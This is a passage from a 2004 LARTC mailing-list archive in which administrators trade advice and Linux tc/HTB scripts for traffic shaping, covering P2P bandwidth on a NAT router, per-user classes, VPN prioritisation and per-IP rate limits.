  <A title=3Dlista@umeda.com.br href=3D"mailto:lista@umeda.com.br">James =
Lista</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=3Dlartc@mailman.ds9a.nl=20
  href=3D"mailto:lartc@mailman.ds9a.nl">lartc@mailman.ds9a.nl</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Sunday, October 17, 2004 =
2:42=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> [LARTC] htb</DIV>
  <DIV><BR></DIV>
  <DIV><FONT face=3DArial size=3D2>buddies,</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>i am newbie to band control..&nbsp; i =
have a=20
  linux box (as a router, NATing,) sharing internet</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial=20
  =
size=3D2>----internet----------eth0-[linux.box]-eth1----------my.lan</FON=
T></DIV>
  <DIV><FONT face=3DArial=20
  =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>wan =3D adsl 600</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>lan&nbsp; =3D about 20 =
users</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>my problem is that due the contract i =

  <STRONG>cannot block</STRONG> users from my lan from=20
  <STRONG>downloading</STRONG>&nbsp;anything, so they can use kazaa =
(argghh),=20
  edonkey(argghhhhh), emule(arghhhhhh), soulseek(arghjhhhh) etc etc=20
  etc,&nbsp;&nbsp;&nbsp;&nbsp; </FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>so,</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>I want to know if using htb i can =
make that users=20
  that uses browsers (port 80) have priority then users that uses port =
(110 and=20
  25) , then rest of the ports.....&nbsp;&nbsp;&nbsp;&nbsp;as if i could =
have=20
  such thing:</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>600kbit --------&nbsp;&nbsp; 50% for =
port=20
  80</FONT></DIV>
  <DIV><FONT face=3DArial=20
  =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  30% for port 25 and 110</FONT></DIV>
  <DIV><FONT face=3DArial=20
  =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  20% for the rest </FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>this way no user can complain that =
cannot access=20
  his internet banking, checking his emails&nbsp; and other thing that =
are=20
  essentials...</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>if it is possible (with htb) or any =
other method,=20
  please tell me a direction for me to go..</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>really thanks</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>james </FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial =
size=3D2></FONT>&nbsp;</DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_02DA_01C4B459.14C91CF0--


From lista@umeda.com.br  Sun Oct 17 14:02:00 2004
From: lista@umeda.com.br (James Lista)
Date: Sun, 17 Oct 2004 11:02:00 -0200
Subject: [LARTC] htb
References: <004601c4b446$c00526d0$480710ac@d3lta> <200410171419.33051.Andreas.Klauer@metamorpher.de>
Message-ID: <008b01c4b449$7de52cc0$480710ac@d3lta>

andreas

first thanks for the answer and the advices.

well. let me say some things: inspite of saying that i have 600kbit for 20
users, it is really rare to have more than 7 at the same time

and about that you say take a look at ipp2p or l7-filter:  errr,  can they
identify when a user changed edonkey or any other p2p default port and limit
such packet even so ????



----- Original Message -----
From: "Andreas Klauer" <Andreas.Klauer@metamorpher.de>
To: <lartc@mailman.ds9a.nl>
Sent: Sunday, October 17, 2004 10:19 AM
Subject: Re: [LARTC] htb


> Am Sunday 17 October 2004 14:42 schrieb James Lista:
> > 600kbit ------------   50% for port 80
> >                        30% for port 25 and 110
> >                        20% for the rest
>
> Sure, that's possible. That's one 600kbit class with three child classes.
>
> However, there may be many other ports besides 25, 80, and 110 that
deserve
> prioritizing. Throwing them in the same class as all filesharing traffic
> could make things even worse than before.
>
> Then there's the problem that many filesharing protocols can work on any
> port, so your users could just move to one of the prioritized ports and
> take all the bandwidth again.
>
> That's some of the reasons why I never bothered with prioritizing ports on
> a global basis. Consider using ipp2p or l7-filter for a more reliable way
> for detecting P2P traffic.
>
> No matter how you look at it, 600kbit for 20 users is a bit slow. Even
> without P2P traffic, if all of them surf the web at the same time, they
> won't be very happy with the speed.
>
> Besides traffic shaping, you should do anything possible to reduce load.
> Cache DNS queries, provide a HTTP proxy, probably squid. Make sure that
> you can't be flooded from the outside. Stuff like that.
>
> HTH
> Andreas
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>


From lista@umeda.com.br  Sun Oct 17 13:08:04 2004
From: lista@umeda.com.br (James Lista)
Date: Sun, 17 Oct 2004 10:08:04 -0200
Subject: [LARTC] htb
References: <004601c4b446$c00526d0$480710ac@d3lta> <02dd01c4b448$52467250$0802a8c0@komp>
Message-ID: <00af01c4b441$f49361f0$480710ac@d3lta>

This is a multi-part message in MIME format.

------=_NextPart_000_00AC_01C4B431.30F9C910
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

hey ja,

do you have a small script example to show me ? ...  i am new to those =
thing.. wanna study examples to understand how things works...   tried =
reading some docs but my english is poor so, i could understand very =
few..

thanks

  ----- Original Message -----=20
  From: ja=20
  To: James Lista ; lartc@mailman.ds9a.nl=20
  Sent: Sunday, October 17, 2004 10:53 AM
  Subject: Re: [LARTC] htb


  This is no good cause for example bittorent can download on port 80 =
:D. So the best way is create classes with ceil parameter for example =
128kbit to ensure relability for every user and limit number of =
connections to 50-80 per user. This the best (i can get a word grr....- =
you know) if you dont want to block p2p.
    ----- Original Message -----=20
    From: James Lista=20
    To: lartc@mailman.ds9a.nl=20
    Sent: Sunday, October 17, 2004 2:42 PM
    Subject: [LARTC] htb


    buddies,

    i am newbie to band control..  i have a linux box (as a router, =
NATing,) sharing internet

    ----internet----------eth0-[linux.box]-eth1----------my.lan
                 =20
    wan =3D adsl 600
    lan  =3D about 20 users

    my problem is that due the contract i cannot block users from my lan =
from downloading anything, so they can use kazaa (argghh), =
edonkey(argghhhhh), emule(arghhhhhh), soulseek(arghjhhhh) etc etc etc,   =
 =20

    so,

    I want to know if using htb i can make that users that uses browsers =
(port 80) have priority then users that uses port (110 and 25) , then =
rest of the ports.....    as if i could have such thing:


    600kbit --------   50% for port 80
                           30% for port 25 and 110
                           20% for the rest=20

    this way no user can complain that cannot access his internet =
banking, checking his emails  and other thing that are essentials...

    if it is possible (with htb) or any other method, please tell me a =
direction for me to go..

    really thanks

    james=20






------=_NextPart_000_00AC_01C4B431.30F9C910
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1476" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>hey ja,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>do you have&nbsp;a small script example =
to show me=20
? ...&nbsp; i am new to those thing.. wanna study examples to understand =
how=20
things works...&nbsp;&nbsp; tried reading some docs but my english is =
poor so, i=20
could understand very few..</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Dmjoachimiak@poczta.onet.pl=20
  href=3D"mailto:mjoachimiak@poczta.onet.pl">ja</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=3Dlista@umeda.com.br=20
  href=3D"mailto:lista@umeda.com.br">James Lista</A> ; <A=20
  title=3Dlartc@mailman.ds9a.nl=20
  href=3D"mailto:lartc@mailman.ds9a.nl">lartc@mailman.ds9a.nl</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Sunday, October 17, 2004 =
10:53=20
  AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [LARTC] htb</DIV>
  <DIV><BR></DIV>
  <DIV><FONT face=3DArial size=3D2>This is no good cause for example =
bittorent can=20
  download on port 80 :D. So the best way is create classes with ceil =
parameter=20
  for example 128kbit to ensure relability for every user and limit =
number of=20
  connections to 50-80 per user. This the best (i can get a word =
grr....- you=20
  know) if you dont want to block p2p.</FONT></DIV>
  <BLOCKQUOTE dir=3Dltr=20
  style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
    <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
    <DIV=20
    style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
    <A title=3Dlista@umeda.com.br =
href=3D"mailto:lista@umeda.com.br">James Lista</A>=20
    </DIV>
    <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=3Dlartc@mailman.ds9a.nl=20
    href=3D"mailto:lartc@mailman.ds9a.nl">lartc@mailman.ds9a.nl</A> =
</DIV>
    <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Sunday, October 17, =
2004 2:42=20
    PM</DIV>
    <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> [LARTC] htb</DIV>
    <DIV><BR></DIV>
    <DIV><FONT face=3DArial size=3D2>buddies,</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial size=3D2>i am newbie to band control..&nbsp; =
i have a=20
    linux box (as a router, NATing,) sharing internet</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial=20
    =
size=3D2>----internet----------eth0-[linux.box]-eth1----------my.lan</FON=
T></DIV>
    <DIV><FONT face=3DArial=20
    =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2>wan =3D adsl 600</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2>lan&nbsp; =3D about 20 =
users</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial size=3D2>my problem is that due the contract =
i=20
    <STRONG>cannot block</STRONG> users from my lan from=20
    <STRONG>downloading</STRONG>&nbsp;anything, so they can use kazaa =
(argghh),=20
    edonkey(argghhhhh), emule(arghhhhhh), soulseek(arghjhhhh) etc etc=20
    etc,&nbsp;&nbsp;&nbsp;&nbsp; </FONT></DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial size=3D2>so,</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial size=3D2>I want to know if using htb i can =
make that=20
    users that uses browsers (port 80) have priority then users that =
uses port=20
    (110 and 25) , then rest of the ports.....&nbsp;&nbsp;&nbsp;&nbsp;as =
if i=20
    could have such thing:</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial size=3D2>600kbit --------&nbsp;&nbsp; 50% =
for port=20
    80</FONT></DIV>
    <DIV><FONT face=3DArial=20
    =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
    30% for port 25 and 110</FONT></DIV>
    <DIV><FONT face=3DArial=20
    =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
    20% for the rest </FONT></DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial size=3D2>this way no user can complain that =
cannot=20
    access his internet banking, checking his emails&nbsp; and other =
thing that=20
    are essentials...</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial size=3D2>if it is possible (with htb) or any =
other=20
    method, please tell me a direction for me to go..</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial size=3D2>really thanks</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial size=3D2>james </FONT></DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial=20
size=3D2></FONT>&nbsp;</DIV></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_00AC_01C4B431.30F9C910--


From Andreas.Klauer@metamorpher.de  Sun Oct 17 14:20:01 2004
From: Andreas.Klauer@metamorpher.de (Andreas Klauer)
Date: Sun, 17 Oct 2004 15:20:01 +0200
Subject: [LARTC] htb
In-Reply-To: <008b01c4b449$7de52cc0$480710ac@d3lta>
References: <004601c4b446$c00526d0$480710ac@d3lta> <200410171419.33051.Andreas.Klauer@metamorpher.de> <008b01c4b449$7de52cc0$480710ac@d3lta>
Message-ID: <200410171520.02009.Andreas.Klauer@metamorpher.de>

Am Sunday 17 October 2004 15:02 schrieb James Lista:
> and about that you say take a look at ipp2p or l7-filter:  errr,  can
> they identify when a user changed edonkey or any other p2p default port
> and limit such packet even so ????

They try to. I'm using IPP2P and it works okay for me.

Although my shaping setup is a little different from what you want to do. 
I've got one class per user, so everyone gets the same share of bandwidth. 
This way it doesn't matter what kind of traffic a user generates, as it 
doesn't influence the others.

Prioritization is then done within the user classes, the only effect of 
that is that a user can still have a lag free SSH connection while he's 
downloading stuff at the same time.

So in my setup, if the user finds a way to trick the prioritization 
settings, he's only tricking himself, because he can't escape his user 
class :)

Andreas

From Andreas.Klauer@metamorpher.de  Sun Oct 17 14:22:33 2004
From: Andreas.Klauer@metamorpher.de (Andreas Klauer)
Date: Sun, 17 Oct 2004 15:22:33 +0200
Subject: [LARTC] htb
In-Reply-To: <00af01c4b441$f49361f0$480710ac@d3lta>
References: <004601c4b446$c00526d0$480710ac@d3lta> <02dd01c4b448$52467250$0802a8c0@komp> <00af01c4b441$f49361f0$480710ac@d3lta>
Message-ID: <200410171522.33643.Andreas.Klauer@metamorpher.de>

Am Sunday 17 October 2004 14:08 schrieb James Lista:
> do you have a small script example to show me ? ...

I don't know about the "small" part...
My own script: http://www.metamorpher.de/fairnat/

HTH
Andreas

From lista@umeda.com.br  Sun Oct 17 13:41:59 2004
From: lista@umeda.com.br (James Lista)
Date: Sun, 17 Oct 2004 10:41:59 -0200
Subject: [LARTC] htb
References: <004601c4b446$c00526d0$480710ac@d3lta> <200410171419.33051.Andreas.Klauer@metamorpher.de> <008b01c4b449$7de52cc0$480710ac@d3lta> <200410171520.02009.Andreas.Klauer@metamorpher.de>
Message-ID: <00e601c4b446$b1be0fb0$480710ac@d3lta>

andreas,

having one class per user seems cool... please buddy, have a sample script
of that ?
so, if i have 600kbit / 7 = 86kbit for each, is it that ???  if so, is it
too few for a single user ?
about something that i read that say "borrowing",  when a user borrow his
spare band to a "vampire", when will he gets it back when he needs it...?

thanks again

----- Original Message -----
From: "Andreas Klauer" <Andreas.Klauer@metamorpher.de>
To: <lartc@mailman.ds9a.nl>
Sent: Sunday, October 17, 2004 11:20 AM
Subject: Re: [LARTC] htb


> Am Sunday 17 October 2004 15:02 schrieb James Lista:
> > and about that you say take a look at ipp2p or l7-filter:  errr,  can
> > they identify when a user changed edonkey or any other p2p default port
> > and limit such packet even so ????
>
> They try to. I'm using IPP2P and it works okay for me.
>
> Although my shaping setup is a little different from what you want to do.
> I've got one class per user, so everyone gets the same share of bandwidth.
> This way it doesn't matter what kind of traffic a user generates, as it
> doesn't influence the others.
>
> Prioritization is then done within the user classes, the only effect of
> that is that a user can still have a lag free SSH connection while he's
> downloading stuff at the same time.
>
> So in my setup, if the user finds a way to trick the prioritization
> settings, he's only tricking himself, because he can't escape his user
> class :)
>
> Andreas
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>


From huetmann@site38.ping.at  Sun Oct 17 16:51:38 2004
From: huetmann@site38.ping.at (Peter Huetmannsberger)
Date: Sun, 17 Oct 2004 17:51:38 +0200 (CEST)
Subject: [LARTC] Role of Application? How big?
Message-ID: <Pine.LNX.4.44.0410171728020.24158-100000@george.eliot.priv.at>

Hi, 

I am still struggling with details on this setup. I have the shaping work 
well with some applications and not with others. Here's what I have:

#!/bin/bash
tc qdisc add dev eth0 root handle 1: htb default 20
tc class add dev eth0 parent 1: classid 1:1 htb rate 800kbit burst 15k
tc class add dev eth0 parent 1:1 classid 1:10 htb rate 650kbit ceil 
             110kbps burst 15k prio 0
tc class add dev eth0 parent 1:1 classid 1:20 htb rate 150kbit ceil 
             110kbps burst 6k prio 1
tc qdisc add dev eth0 parent 1:10 handle 10: sfq perturb 10
tc qdisc add dev eth0 parent 1:20 handle 20: sfq perturb 10
U32="tc filter add dev eth0 protocol ip parent 1:0 prio 0 u32"
$U32 match ip sport 5001 0xffff match ip protocol 17 0xff flowid 1:10
 

It is supposed to prioritize traffic going through an openvpn tunnel which 
uses port 5001 on both sides using udp packets. 

Now when I use scp to upload a file across the tunnel, and at the same
time try and upload something somewhere totally different, it works like a
charme. The tunnel takes it all (not quite but almost), which is what I
want.

If I now use ftp instead, the results are somewhat varied. i.e. the ftp 
upload through the tunnel shows up in the right class (1:10), however it 
does not seem to want to grab the whole bandwidth. Thus leaving more than 
the prior example with scp  to 1:20. 

My question is really if this is normal behaviour, or if I need to 
continue to find a flaw in my thinking. The same thing happens using wget 
from the other side of the tunnel (thus uploading to the other side), 
where again, it does not utilize the full bandwidth. 

I thought it might have something to do with the tos set to 0x8 when using 
scp. So I set the tos flag using iptables for all the traffic going 
throught the tunnel (which works, I can see it in tcpdump -i tun0). It 
improved the situation a little bit, but not too much. 

Can I expect the same behaviour that scp shows with all other 
applications, or does the application decide how much bandwidth to grab? 
Or in other words how big is the role of the application?

Many thanks in advance, 

.peter


From mauricio@vtr.net  Mon Oct 18 05:21:13 2004
From: mauricio@vtr.net (Mauricio J. Parada C.)
Date: Mon, 18 Oct 2004 01:21:13 -0300
Subject: [LARTC] Beginer question
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAAaqeQ+HGmGUKthOp8U6yi4MKAAAAQAAAA8VvYJZFpKkigtoSMrUO+SAEAAAAA@vtr.net>

Hi, list members.

I've been reading a lot about traffic control because=20
at work we have the following configuration......



			 LINUX
			  BOX
			 _____
	100 mbit	|	|
LAN1--------------|eth0	|
			|	|	2 mbit SDSL
			| eth1|-------------------INTERNET
	100 mbit	|	|
LAN2--------------|eth2	|
			|	|
			-------

The linux box (REDHAT 9-2.4.20-30.9) acts as a firewall-NAT
solution for both internal networks.
Also the linux acts as SMTP gateway (or redirector) for two
different domains handled by mail servers on each internal LAN.
SQUID is on the linux too and serves LAN1 requests.

I have to manage the bandwidth of our Internet connection so LAN1 gets =
1.5
mbit
to serve Windows 2000 terminal server for outside clients, Web requests =
and
SMTP.
Also web navigation from internal clients.

LAN2 gets 512 kbit for SMTP and Web navigation.

So I'm really messed up with the direction of the traffic control ("you =
can
only shape your outgoing traffic")=20
and which discipline should I use.

If you can help here I would really appreciate it.





ATTE.

Mauricio Parada C.

Tel=E9fono: (56)-2-4756376
Movil:    (56)-9-8487134
e-mail: mauricio@vtr.net



From huetmann@site38.ping.at  Mon Oct 18 06:36:11 2004
From: huetmann@site38.ping.at (Peter Huetmannsberger)
Date: Mon, 18 Oct 2004 07:36:11 +0200 (CEST)
Subject: [LARTC] Beginer question
In-Reply-To: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAAaqeQ+HGmGUKthOp8U6yi4MKAAAAQAAAA8VvYJZFpKkigtoSMrUO+SAEAAAAA@vtr.net>
Message-ID: <Pine.LNX.4.44.0410180730510.3103-100000@george.eliot.priv.at>

Hi!

Since I have been playing with a similar setup in the last few weeks, I'll 
try and answer your question. But be aware that I am a newbie myself. 

You have outgoing traffic on all those interfaces: Traffic that comes from 
the Internet  to Lan1 or Lan2 is INCOMING traffic on eth1 but it is 
OUTGOING traffic on eth0 and eth2! So you can shape your "download from 
the Internet traffic" on those two interfaces. The traffic going to the 
Internet is outgoing on eth1, so you can shape it there.

Which would be best to use, I am to new to say. I am using htb and it 
seems to work fine.

All the best, 

.peter




> 			 LINUX
> 			  BOX
> 			 _____
> 	100 mbit	|	|
> LAN1--------------|eth0	|
> 			|	|	2 mbit SDSL
> 			| eth1|-------------------INTERNET
> 	100 mbit	|	|
> LAN2--------------|eth2	|
> 			|	|
> 			-------
> 
> So I'm really messed up with the direction of the traffic control ("you can
> only shape your outgoing traffic") 
> and which discipline should I use.


From lists@peterschen.de  Mon Oct 18 10:17:41 2004
From: lists@peterschen.de (Christoph Petersen)
Date: Mon, 18 Oct 2004 11:17:41 +0200
Subject: [LARTC] IP based bandwith limit
Message-ID: <41738A35.9070404@peterschen.de>

Hi,

i've following problem. One of our gateway router, which connects some 
of our customers should have bandwith limit.

So customer A with IP XX should have 2 Mbit, customer B with IP YY 
should have 10 Mbit. There is no need of borrowing bandwith so no 
fairness needed.

My simple question: with which technique should I manage this shaping? 
Or is there any existing project which provides this allready?

Greets
Christoph

From huetmann@site38.ping.at  Mon Oct 18 11:00:30 2004
From: huetmann@site38.ping.at (Peter Huetmannsberger)
Date: Mon, 18 Oct 2004 12:00:30 +0200 (CEST)
Subject: [LARTC] IP based bandwith limit
In-Reply-To: <41738A35.9070404@peterschen.de>
Message-ID: <Pine.LNX.4.44.0410181157370.18293-100000@george.eliot.priv.at>


Hi!

Again, beware, that I am new to this myself, but if there is no borrowing 
necessary, does that mean you have more than 12 Mbit to hand out. If so, I 
assume you have one interface per customer, in which case you could use 
tbf on each interface. If both customers are behind the same interface you 
could use htb and lower the ceiling per customer, which has the same 
effect, with a filter rule for each customer --> class, based on ip 
address. 

Hope this helps, correct me if I am wrong. 

.peter


On Mon, 18 Oct 2004, Christoph Petersen wrote:

> Hi,
> 
> i've following problem. One of our gateway router, which connects some 
> of our customers should have bandwith limit.
> 
> So customer A with IP XX should have 2 Mbit, customer B with IP YY 
> should have 10 Mbit. There is no need of borrowing bandwith so no 
> fairness needed.
> 
> My simple question: with which technique should I manage this shaping? 
> Or is there any existing project which provides this allready?
> 
> Greets
> Christoph
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> 


From lists@peterschen.de  Mon Oct 18 11:19:23 2004
From: lists@peterschen.de (Christoph Petersen)
Date: Mon, 18 Oct 2004 12:19:23 +0200
Subject: [LARTC] IP based bandwith limit
In-Reply-To: <Pine.LNX.4.44.0410181157370.18293-100000@george.eliot.priv.at>
References: <Pine.LNX.4.44.0410181157370.18293-100000@george.eliot.priv.at>
Message-ID: <417398AB.3080303@peterschen.de>

Hi,

unfortunately there is only one interface for the customers. My problem 
is to limit the up AND down speed in dependence to each other.

So customer A get a bandwith of 2Mbit this is up AND down so if he 
downloads with 1Mbit he gets a max upload speed of 1Mbit.

I've tried it with htb like this:

#!/bin/sh
TC=/sbin/tc
DEV=eth0

$TC qdisc add dev $DEV root handle 1 htb default 90
$TC qdisc add dev $DEV handle ffff: ingress
$TC class add dev $DEV parent 1: classid 1:2 htb rate 100Mbit burst 6k

$TC class add dev $DEV parent 1:2 classid 1:10 htb rate 10kbps ceil 10kbps
$TC filter add dev $DEV parent 1:0 protocol ip prio 100 u32 \
    match ip dst 192.168.1.19 \
    classid 1:10

$TC filter add dev $DEV parent ffff: protocol ip prio 50 u32 \
    match ip src 192.168.1.19 \
    police rate 10kbps burst 10k drop flowid 1:10

this is my internal test. But it wouldn't work with dependence to each 
other...

Greets
Christoph

Peter Huetmannsberger wrote:

>Hi!
>
>Again, beware, that I am new to this myself, but if there is no borrowing 
>necessary, does that mean you have more than 12 Mbit to hand out. If so, I 
>assume you have one interface per customer, in which case you could use 
>tbf on each interface. If both customers are behind the same interface you 
>could use htb and lower the ceiling per customer, which has the same 
>effect, with a filter rule for each customer --> class, based on ip 
>address. 
>
>Hope this helps, correct me if I am wrong. 
>
>.peter
>
>
>On Mon, 18 Oct 2004, Christoph Petersen wrote:
>
>  
>
>>Hi,
>>
>>i've following problem. One of our gateway router, which connects some 
>>of our customers should have bandwith limit.
>>
>>So customer A with IP XX should have 2 Mbit, customer B with IP YY 
>>should have 10 Mbit. There is no need of borrowing bandwith so no 
>>fairness needed.
>>
>>My simple question: with which technique should I manage this shaping? 
>>Or is there any existing project which provides this allready?
>>
>>Greets
>>Christoph
>>_______________________________________________
>>LARTC mailing list / LARTC@mailman.ds9a.nl
>>http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>>
>>    
>>
>
>
>
>  
>


From huetmann@site38.ping.at  Mon Oct 18 13:04:44 2004
From: huetmann@site38.ping.at (Peter Huetmannsberger)
Date: Mon, 18 Oct 2004 14:04:44 +0200 (CEST)
Subject: [LARTC] IP based bandwith limit
In-Reply-To: <417398AB.3080303@peterschen.de>
Message-ID: <Pine.LNX.4.44.0410181350360.24445-100000@george.eliot.priv.at>


Hi 

like I said, I am new too, so take this with a grain of salt. 

> unfortunately there is only one interface for the customers. My problem 
> is to limit the up AND down speed in dependence to each other.

Downloads become uploads on your internal interface!

so if eth0 is your external interface a download would be INCOMING on eth0 
but as it is going on to your internal interface (e.g. eth1) it becomes an 
upload to your customer. So incoming traffic from the internet to your 
customers is outgoing on eth1. 

if you do this on eth1: 
--------------
#!/bin/bash
tc qdisc add dev eth1 root handle 1: htb default 20
tc class add dev eth1 parent 1: classid 1:1 htb rate 90mbit burst 15k
tc class add dev eth1 parent 1:1 classid 1:10 htb rate 10mbit 
                                                      prio 0 burst 15k
tc class add dev eth1 parent 1:1 classid 1:20 htb rate 1mbit ceil 1mbit
						      burst 6k prio 1
U32="tc filter add dev eth1 protocol ip parent 1:0 prio 0 u32"
$U32 match ip dst 192.168.1.19 flowid 1:10
---------------

Then you have split the traffic into two classes: 

one for the preferred customer, who gets 10Mbit and a default for all the 
other traffic, which gets 1Mbit. It still leaves a lot of bandwidth 
unused! (79 Mbit)

